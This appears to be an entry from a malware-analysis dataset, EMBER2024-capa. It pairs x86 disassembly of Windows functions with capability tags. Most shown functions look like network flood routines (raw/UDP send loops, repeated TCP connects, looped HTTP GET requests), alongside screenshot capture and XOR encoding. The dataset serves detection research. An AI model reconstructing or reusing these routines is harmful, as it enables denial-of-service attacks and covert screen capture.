joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005740
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x1a4
push ebx
lea eax, [esp + 0x18]
push ebp
push eax
mov ebp, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0
push 0
push 1
push 3
push 2
mov dword [esp + 0x20], 0x7d0
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10005786
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret
lea ecx, [esp + 8]
push 4
push ecx
push 0x1005
push 0xffff
push ebx
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x100057ae
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret
xor edx, edx
push esi
mov dword [esp + 0x10], edx
lea eax, [ebp + 5]
mov dword [esp + 0x14], edx
push edi
mov dword [esp + 0x1c], edx
push eax
mov ecx, ebp
mov dword [esp + 0x24], edx
mov word [esp + 0x18], 2
call fcn.10006550
push 0x1000
push 8
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
push 0x1000
push esi
mov ecx, ebp
call fcn.10005880
mov al, byte [ebp + 4]
xor edi, edi
test al, al
jne 0x10005866
mov word [esi + 6], di
mov word [esi + 2], 0
inc edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1000
push esi
mov ecx, ebp
mov dword [esi + 8], eax
call fcn.100064f0
lea ecx, [esp + 0x14]
push 0x10
push ecx
push 0
push 0x1000
push esi
push ebx
mov word [esi + 2], ax
call dword [sym.imp.WS2_32.dll_sendto]
cmp edi, 0xfffe
jl 0x10005857
mov edi, 1
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebp + 4]
test al, al
je 0x1000580f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1a4
ret

Function at 0x10005900
Capabilities:
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov eax, 0x1140
call fcn.10006da0
push ebx
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10006550
push 0x11
push 2
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov al, byte [esi + 4]
test al, al
jne 0x100059c8
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
push edi
push 0xff
push 0
mov ecx, esi
call fcn.100064b0
mov cl, al
lea edi, [esp + 0x1b0]
mov ch, cl
lea edx, [esp + 0x10]
mov eax, ecx
push 0x10
shl eax, 0x10
mov ax, cx
mov ecx, 0x3e8
rep stosd dword es:[edi], eax
push edx
push 0
lea eax, [esp + 0x1bc]
push 0xfa0
push eax
push ebx
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi + 4]
test al, al
je 0x10005976
pop edi
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x1140
ret
Function at 0x100059f0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x3a0
push ebx
lea eax, [esp + 0x214]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10006550
push 0x11
push 2
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 8]
mov ebx, eax
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [esi + 4]
test al, al
jne 0x10005ab8
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_send]
push edi
push 0xff
push 0
mov ecx, esi
call fcn.100064b0
mov dl, al
lea edi, [esp + 0x20]
mov dh, dl
mov ecx, 0x80
mov eax, edx
push 0
shl eax, 0x10
mov ax, dx
push 0x200
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
push eax
push ebx
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi + 4]
test al, al
je 0x10005a73
pop edi
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x3a0
ret

Function at 0x10005ae0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x5a0
push ebx
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10006550
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 8]
mov ebx, eax
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005b6b
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
push edi
push 0xff
push 0
mov ecx, esi
call fcn.100064b0
mov dl, al
lea edi, [esp + 0x1ac]
mov dh, dl
mov ecx, pe_nt_image_headers32
mov eax, edx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
mov al, byte [esi + 4]
test al, al
jne 0x10005bc6
mov edi, dword [sym.imp.WS2_32.dll_send]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [esp + 0x1b4]
push 0x400
push eax
push ebx
call edi
push 0xa
call ebp
mov al, byte [esi + 4]
test al, al
je 0x10005ba8
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x5a0
ret
Function at 0x10005bf0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push edi
push eax
mov edi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [edi + 0xd0]
xor ecx, ecx
mov dword [esp + 4], ecx
push edx
mov dword [esp + 0xc], ecx
mov word [esp + 8], 2
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [edi + 5]
push eax
mov ecx, edi
call fcn.10006550
mov dword [esp + 8], eax
mov al, byte [edi + 4]
test al, al
jne 0x10005c94
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_socket]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_connect]
push esi
push 6
push 1
push 2
call ebx
lea ecx, [esp + 0x10]
mov esi, eax
push 0x10
push ecx
push esi
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [edi + 4]
test al, al
je 0x10005c5a
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x1a0
ret
mov eax, 1
pop edi
add esp, 0x1a0
ret

Function at 0x10005cc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x4c4
push ebx
push ebp
push esi
lea eax, [esp + 0x20]
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esp + 0x28], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [esi + 0xd0]
xor ecx, ecx
mov dword [esp + 0x10], ecx
push edx
mov dword [esp + 0x18], ecx
mov word [esp + 0x14], 2
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esi + 5]
push eax
mov ecx, esi
call fcn.10006550
mov ebp, dword [sym.imp.WS2_32.dll_socket]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x14], eax
lea esi, [esp + 0x1b4]
mov ebx, 0xc8
push 6
push 1
push 2
call ebp
lea ecx, [esp + 0x10]
push 0x10
push ecx
push eax
mov dword [esi], eax
call dword [sym.imp.WS2_32.dll_connect]
push 0xa
call edi
add esi, 4
dec ebx
jne 0x10005d33
mov esi, dword [esp + 0x20]
mov al, byte [esi + 4]
test al, al
jne 0x10005d6e
push 0x3e8
call edi
mov al, byte [esi + 4]
test al, al
je 0x10005d60
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
lea esi, [esp + 0x1b4]
mov edi, 0xc8
mov edx, dword [esi]
push edx
call ebx
add esi, 4
dec edi
jne 0x10005d80
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x4c4
ret
Function at 0x10005db0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x5a0
push ebx
push esi
lea eax, [esp + 0x418]
push edi
push eax
mov ebx, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [ebx + 0xd0]
xor ecx, ecx
mov dword [esp + 0xc], ecx
push edx
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
call dword [sym.imp.WS2_32.dll_htons]
lea esi, [ebx + 5]
mov ecx, ebx
push esi
mov word [esp + 0x12], ax
call fcn.10006550
mov dword [esp + 0x10], eax
mov al, byte [0x1000f9a0]
mov byte [esp + 0x1c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xd0]
cmp eax, 0x50
jne 0x10005e43
push esi
lea ecx, [esp + 0x20]
push str.GET___HTTP_1.1_r_nHost:__s_r_n_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10005e58
push eax
push esi
lea edx, [esp + 0x24]
push str.GET___HTTP_1.1_r_nHost:__s:_d_r_n_r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov al, byte [ebx + 4]
test al, al
jne 0x10005ec1
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call ebp
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx + 4]
test al, al
je 0x10005e66
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
Function at 0x10005ee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x5a0
push ebx
push esi
lea eax, [esp + 0x418]
push edi
push eax
mov ebx, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [ebx + 0xd0]
xor ecx, ecx
mov dword [esp + 0xc], ecx
push edx
mov dword [esp + 0x14], ecx
mov word [esp + 0x10], 2
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
call dword [sym.imp.WS2_32.dll_htons]
lea esi, [ebx + 5]
mov ecx, ebx
push esi
mov word [esp + 0x12], ax
call fcn.10006550
mov dword [esp + 0x10], eax
mov al, byte [0x1000f9a0]
mov byte [esp + 0x1c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0xd0]
cmp eax, 0x50
jne 0x10005f73
push esi
lea ecx, [esp + 0x20]
push str.GET___HTTP_1.1_r_nHost:__s_r_nCache_Control:_no_cache_r_nConnection:_Close_r_n_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10005f88
push eax
push esi
lea edx, [esp + 0x24]
push str.GET___HTTP_1.1_r_nHost:__s:_d_r_nCache_Control:_no_cache_r_nConnection:_Close_r_n_r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov al, byte [ebx + 4]
test al, al
jne 0x10005ff1
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call ebp
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x28]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx + 4]
test al, al
je 0x10005f96
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x5a0
ret
Function at 0x10006550
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10006576
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000656f
pop esi
ret 4
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret 4

Function at 0x100065d0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 0x28], 0
jle 0x100065fb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10006810
push 0
push 0
call ebx
dec edi
jne 0x100065e7
pop ebx
pop edi
pop esi
ret 4
Function at 0x10006610
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x2c8
push ebp
push esi
lea eax, [esp + 0x140]
push edi
push eax
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dx, word [esi + 0x24]
xor ecx, ecx
mov dword [esp + 0x1c], ecx
push edx
mov dword [esp + 0x24], ecx
mov ebp, eax
mov dword [esp + 0x28], ecx
mov word [esp + 0x20], 2
mov dword [esp + 0x2c], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
lea eax, [esi + 4]
push eax
mov ecx, esi
call fcn.10006550
push 0x40c
mov dword [esp + 0x24], eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov edx, eax
mov ecx, 0x103
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [edx + 4], 0x7d1
mov dword [esp + 0x30], ecx
lea edi, [esp + 0x48]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x38], ecx
xor edx, edx
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x40], ecx
add esp, 4
mov word [esp + 0x40], cx
mov ecx, 0x20
rep stosd dword es:[edi], eax
mov ecx, 0x20
lea edi, [esp + 0xc4]
rep stosd dword es:[edi], eax
mov al, byte [esi + 0x28]
mov dword [esp + 0x14], edx
test al, al
mov word [esp + 0x18], dx
jne 0x100067f3
push ebx
push 0x14
mov ecx, esi
call fcn.10006820
mov ebx, eax
cmp ebx, 5
jl 0x100066e5
xor edi, edi
test ebx, ebx
jle 0x10006713
push 0x24
mov ecx, esi
call fcn.10006820
mov al, byte [eax + str.0123456789abcdefghijklmnopqrstuvwxyz]
mov byte [esp + edi + 0x30], al
inc edi
cmp edi, ebx
jl 0x100066fb
xor edi, edi
push 0x24
mov ecx, esi
call fcn.10006820
mov cl, byte [eax + str.0123456789abcdefghijklmnopqrstuvwxyz]
mov byte [esp + edi + 0x14], cl
inc edi
cmp edi, 9
jl 0x10006715
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x30]
push eax
lea edi, [edx + 0xc]
push ecx
push str._s__s
push edi
call ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
push 0
not ecx
add ecx, 0xb
push edx
push ecx
push eax
mov ecx, esi
call fcn.10006850
lea ecx, [esp + 0x48]
lea edx, [esp + 0xc8]
push ecx
push str.0_s_
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x20]
push 0x10
push eax
push ebp
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x100067d1
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
push ecx
lea ecx, [esp + 0xd0]
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100067d8
push 0
lea edx, [esp + 0x4c]
push 0x80
push edx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, byte [esi + 0x28]
test al, al
je 0x100066e5
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x2c8
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x2c8
ret
Function at 0x10006ad0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.10006b40
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x10006b01
test ecx, ecx
jle 0x10006b36
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x10006aeb
pop edi
pop esi
ret 4
jbe 0x10006b36
xor eax, eax
test ecx, ecx
jle 0x10006b36
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x10006b0a
pop ebx
pop edi
pop esi
ret 4

Function at 0x10006b40
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x30
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, ecx
push edi
push edi
push edi
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebp, eax
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [ebx + 0x14]
mov esi, eax
mov eax, dword [ebx + 0x18]
mov dword [esp + 0x14], esi
push eax
push ecx
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [ebx + 0x18]
mov eax, dword [ebx + 0x14]
push 0xcc0020
push edi
push edi
push ebp
push edx
push eax
push edi
push edi
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ax, word [ebx + 0x1c]
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x18]
mov word [esp + 0x26], ax
mov eax, dword [ebx + 4]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], edi
mov ecx, 0xa
lea esi, [esp + 0x18]
mov edi, eax
mov dword [esp + 0x18], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x24], 1
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x18]
mov edi, dword [esp + 0x10]
push 0
mov esi, dword [esp + 0x18]
push eax
add ecx, dword [ebx + 4]
push ecx
push edx
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push ebp
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x405350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3fc
mov eax, dword [0x455664]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], edi
mov ecx, 0x3e8
lea eax, [ebp - 0x3ec]
mov byte [eax], 0
inc eax
dec ecx
jne 0x405382
push 0x44d598
lea ecx, [ebp - 0x3ec]
push ecx
call dword [0x445014]
mov esi, dword [0x445010]
lea edx, [ebp - 0x3ec]
push edx
call esi
lea eax, [ebp - 0x3ec]
push eax
call esi
lea ecx, [edi + 1]
push ecx
push 0x40
call dword [0x445018]
lea edx, [ebp - 0x3ec]
mov ebx, eax
push edx
mov dword [ebp - 0x3f0], ebx
call esi
lea eax, [ebp - 0x3ec]
push eax
call esi
lea ecx, [ebp - 0x3ec]
push ecx
mov byte [edi + ebx], 0
call esi
lea edx, [ebp - 0x3ec]
push edx
call esi
xor edi, edi
cmp dword [ebp - 0x3f4], edi
jbe 0x40544c
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 0x3fc], eax
lea eax, [ebp - 0x3ec]
push eax
call esi
mov ecx, dword [ebp - 0x3f8]
push ecx
add ebx, edi
call esi
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp - 0x3f8]
mov cl, byte [edx + eax]
mov edx, dword [ebp - 0x3fc]
xor cl, byte [edx + ebx]
lea eax, [ebp - 0x3ec]
push eax
mov byte [ebx], cl
call esi
mov ebx, dword [ebp - 0x3f0]
inc edi
cmp edi, dword [ebp - 0x3f4]
jb 0x405404
lea ecx, [ebp - 0x3ec]
push ecx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0042eb46
mov esp, ebp
pop ebp
ret 8

Function at 0x405470
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0x405508
mov eax, dword [ebx]
push 0x40
push eax
push esi
call fcn.00430c10
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0x405539
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x405539
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0x405508
mov ecx, dword [ebx]
push edi
push 0xf8
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
call fcn.00430c10
add esp, 0xc
cmp dword [edi], 0x4550
jne 0x405532
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0x405532
movzx eax, word [esi + 0x46]
test ax, ax
je 0x405532
lea edi, [eax + eax*4]
add edi, edi
add edi, edi
add edi, edi
push edi
mov dword [esi + 0x140], edi
call fcn.0042ebe0
add esp, 4
mov dword [esi + 0x138], eax
test eax, eax
jne 0x40550e
mov eax, 3
pop edi
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push ebx
lea ecx, [ecx + edx + 0x18]
push edi
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00405af0
add esp, 0x10
neg eax
sbb eax, eax
inc eax
pop edi
ret
mov eax, 2
pop edi
ret
mov eax, 2
ret
Function at 0x40c860
Capabilities:
Encode data using xor

Disassembly:
test ecx, ecx
jne 0x40c867
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x40c93d
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x44f2e0]
add ecx, 8
sub edx, 8
dec esi
jne 0x40c880
pop edi
test edx, edx
je 0x40c95a
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x44f2e0]
inc ecx
dec edx
jne 0x40c941
not eax
pop esi
ret

Function at 0x40c960
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x44f2e0]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x44f2e0]
mov dword [edx + 8], ecx
ret

Function at 0x40c9b0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x44f2e0]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x44f2e0]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret